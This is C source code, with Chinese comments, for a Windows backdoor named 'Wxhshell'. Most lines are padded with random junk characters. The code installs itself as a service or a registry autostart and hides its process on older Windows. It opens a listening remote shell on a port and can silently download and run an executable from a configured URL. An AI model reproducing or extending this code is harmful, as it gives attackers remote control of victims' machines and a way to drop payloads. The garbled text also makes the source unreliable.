ULONG UniqueProcessId; VBi gUK4
ULONG InheritedFromUniqueProcessId; *:xOenI
} PROCESS_BASIC_INFORMATION; 8]`#ax
5
!hq*WtIk
PROCNTQSIP NtQueryInformationProcess; bVU4H$k
D#1R$4M=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Og% Y._
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &j1-Ouy
M;y*`<x
HANDLE hProcess; zJy=1r
PROCESS_BASIC_INFORMATION pbi; YdO*5Gb6
tWy.Gz\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :5&D6
if(NULL == hInst ) return 0; 4t(/F`
"!zJQl@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o 7kg.w|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j8Z;}Ps
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7d%x 7!E
[A =0fg5
if (!NtQueryInformationProcess) return 0; vwu/33
Sk+XBX(}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1-E6ACq
if(!hProcess) return 0; f:+/=MW
}#D=Rf?2\P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O>pX(DS
L
_N|%i J5
CloseHandle(hProcess); @;OsHudd
>D!R)W`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d*{Cv2A.
if(hProcess==NULL) return 0; ZcjLv
kll!tT-N-
HMODULE hMod; \54B
char procName[255]; J.h` 0$!
unsigned long cbNeeded; WT,I~'r=S
C lf;+G0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !1I# L!9
af |mk@
CloseHandle(hProcess); 6k;5T
L>IP!.J]?
if(strstr(procName,"services")) return 1; // 以服务启动 w;ZT-Fti
G(wK(P0j
return 0; // 注册表启动 BH {z]a
}
:'F,l:
D^O[_/i&
// 主模块 2fr%_GNu
int StartWxhshell(LPSTR lpCmdLine) J@/4CSCR]
{ =5Db^
SOCKET wsl; x+4K ,r;
BOOL val=TRUE; u]NsCHKlT
int port=0; JR]elRR
struct sockaddr_in door; &T, ,fz$
1 jB0gNe
if(wscfg.ws_autoins) Install(); QxW+|Gt._
udUc&pX
port=atoi(lpCmdLine); ]2f-oz*hU
Mu`_^gG
if(port<=0) port=wscfg.ws_port; Yf9E0po
DDkN3\w
WSADATA data; X8Z) W?vu
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XlF ,_
@Ik5BT
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5lHt~hB\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0-uj0"r`
door.sin_family = AF_INET; wry`2_c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ."dT6u E
door.sin_port = htons(port); OAq-(_H
5(CInl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YG0/e#5
closesocket(wsl); F>{bVPh
VA
return 1; #g$I>\O<
} 2H$](k?
ru`7iqcz
if(listen(wsl,2) == INVALID_SOCKET) { DDmC3
closesocket(wsl); mr}o0@5av
return 1; HqV55o5f'
} .?NfV%vv
Wxhshell(wsl); vT{(7m!Ra
WSACleanup(); )XonFI
m_Hg!Lg
return 0; gKTCfD~
I52nQCXi
} b~fl,(sZp
I\1E=6"
// 以NT服务方式启动 YvG$2F |_)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xS@jV6E~
{ Nk-xnTZ"
DWORD status = 0; /Hk})o_
DWORD specificError = 0xfffffff; Y{j~;G@Wl
`/m]K~~
serviceStatus.dwServiceType = SERVICE_WIN32; ]vcT2lr]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aO1.9!<v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,s%+vD$O^
serviceStatus.dwWin32ExitCode = 0; phb
;D
serviceStatus.dwServiceSpecificExitCode = 0; )OQm,5F1
serviceStatus.dwCheckPoint = 0; 2UYtEJ(?`{
serviceStatus.dwWaitHint = 0; W<&/5s
]v:,<=S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rV"3oM]Lo
if (hServiceStatusHandle==0) return; vh2/d.MO
k2->Z);X
status = GetLastError(); OF1^_s;
if (status!=NO_ERROR) 81#x/&E]
{ a++gwl
serviceStatus.dwCurrentState = SERVICE_STOPPED; p
Cx_[#DrP
serviceStatus.dwCheckPoint = 0; $U ._4
serviceStatus.dwWaitHint = 0; A1B[5a*o!
serviceStatus.dwWin32ExitCode = status; FB?V<x
serviceStatus.dwServiceSpecificExitCode = specificError; D`41\#ti
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y$Wv9S6
return; fMf;
} u7J:ipyiq2
]D@aMC$#
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0*P-/)o x
serviceStatus.dwCheckPoint = 0; \0}bOHqEH
serviceStatus.dwWaitHint = 0; W1o6Sh8v(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #r>)A
} !2B~.!&
yWc%z6dXC
// 处理NT服务事件,比如:启动、停止 3k_\xQ
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0 "@J*e#
{ ?:GrM!kq76
switch(fdwControl) Vx[Q=raS
{ A Ef@o+A
case SERVICE_CONTROL_STOP: Xq"9TYf$
serviceStatus.dwWin32ExitCode = 0; B[&l<*O-y
serviceStatus.dwCurrentState = SERVICE_STOPPED; -H\j-k
serviceStatus.dwCheckPoint = 0; t,w/L*r+w
serviceStatus.dwWaitHint = 0; PCDvEbpG
{ &% (1?\~u
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
|d42?7}
} o}wRgG
return; [r]<~$
case SERVICE_CONTROL_PAUSE: ?<0'h{z Ny
serviceStatus.dwCurrentState = SERVICE_PAUSED; ZS3T1
<z
break; |Cfo(]>G
case SERVICE_CONTROL_CONTINUE: DB jUHirK
serviceStatus.dwCurrentState = SERVICE_RUNNING; G'HLnx}Yi
break; [m
x}n+~
case SERVICE_CONTROL_INTERROGATE: l~f9F`~'
break; y
</i1qM
}; x )q$.u+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F')E)tV
} @[/!e`]+
(a,`Y.
// 标准应用程序主函数 +tlbO?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *:l$ud
{ =/xXB
[ifQLsHA
// 获取操作系统版本 hL;??h,!_
OsIsNt=GetOsVer(); LXe'{W+bk
GetModuleFileName(NULL,ExeFile,MAX_PATH); zcEpywNP
(ke<^sv7!
// 从命令行安装 ,b+Hy`t
if(strpbrk(lpCmdLine,"iI")) Install(); ws]d,]
BIvz55g
// 下载执行文件 Y(R],9h8
if(wscfg.ws_downexe) { `lO/I+8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y k"yup@3
WinExec(wscfg.ws_filenam,SW_HIDE); +@rc(eOwvN
} V/"41
>\5ZgC
if(!OsIsNt) { uMC0XE|S
// 如果时win9x,隐藏进程并且设置为注册表启动 z8};(I>)
HideProc(); )4+uM'2%
StartWxhshell(lpCmdLine); ."q8 YaW
} 1@<>GDB9
else B7'2@+(
if(StartFromService()) /hyCR___
// 以服务方式启动 Gg7ZSB 7
StartServiceCtrlDispatcher(DispatchTable); aUBu"P$J
else `\-MpNw
// 普通方式启动 6z67%U*8r
StartWxhshell(lpCmdLine); KkHlMwv
lo>:S1
return 0; 4MgG]
} }M\G
wK%x|%R[
><@& &u.
69C
ss'
=========================================== %__.-;)o
abV,]x&.0
7aNoqS+
%A(hmC
]<O-
D
<Fl7QAb
" o\yqf:V8
kZ
9n@($B
#include <stdio.h> SR\$ fmo
#include <string.h> ,!^w
#include <windows.h> |1 LKdP
#include <winsock2.h> L\kT9wWK|
#include <winsvc.h> w?p8)Q6m
#include <urlmon.h> R2[
}
CwfGp[|}e
#pragma comment (lib, "Ws2_32.lib") ![_GA)7
#pragma comment (lib, "urlmon.lib") t== a(e
RQ51xTOL4]
#define MAX_USER 100 // 最大客户端连接数 'nqVcNgb
#define BUF_SOCK 200 // sock buffer 5z:/d `P[
#define KEY_BUFF 255 // 输入 buffer %gx>|
tgm(tDL
#define REBOOT 0 // 重启 Yf^/YLLS
#define SHUTDOWN 1 // 关机 f]^ @z<FC
{S5D~A*a+
#define DEF_PORT 5000 // 监听端口 n%P,"V
O /4)aW3B
#define REG_LEN 16 // 注册表键长度 [k6,!e[/uG
#define SVC_LEN 80 // NT服务名长度 x6*.zo5e
9\NP)Vm$^
// 从dll定义API !yTjO
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #9hSo
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3qH`zYgh
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3_k3U
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xZ&S7G1